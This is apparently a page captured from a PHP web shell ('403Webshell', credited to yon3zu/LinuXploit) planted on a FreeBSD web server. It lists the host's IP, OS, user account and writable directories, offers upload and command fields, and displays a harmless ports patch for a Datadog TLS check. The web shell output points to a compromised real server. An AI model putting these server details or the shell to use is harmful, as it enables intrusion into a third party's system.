403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/datadog-integrations/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/datadog-integrations/files/patch-tls_datadog__checks_tls_tls.py
--- tls/datadog_checks/tls/tls.py.orig	2020-10-29 10:25:06 UTC
+++ tls/datadog_checks/tls/tls.py
@@ -294,7 +294,7 @@ class TLSCheck(AgentCheck):
                 raise socket.error('No valid addresses found, try checking your IPv6 connectivity')  # noqa: G
         except socket.gaierror as e:
             err_code, message = e.args
-            if err_code == socket.EAI_NODATA or err_code == socket.EAI_NONAME:
+            if err_code == socket.EAI_NONAME:
                 raise socket.error('Unable to resolve host, check your DNS: {}'.format(message))  # noqa: G

             raise

Youez - 2016 - github.com/yon3zu
LinuXploit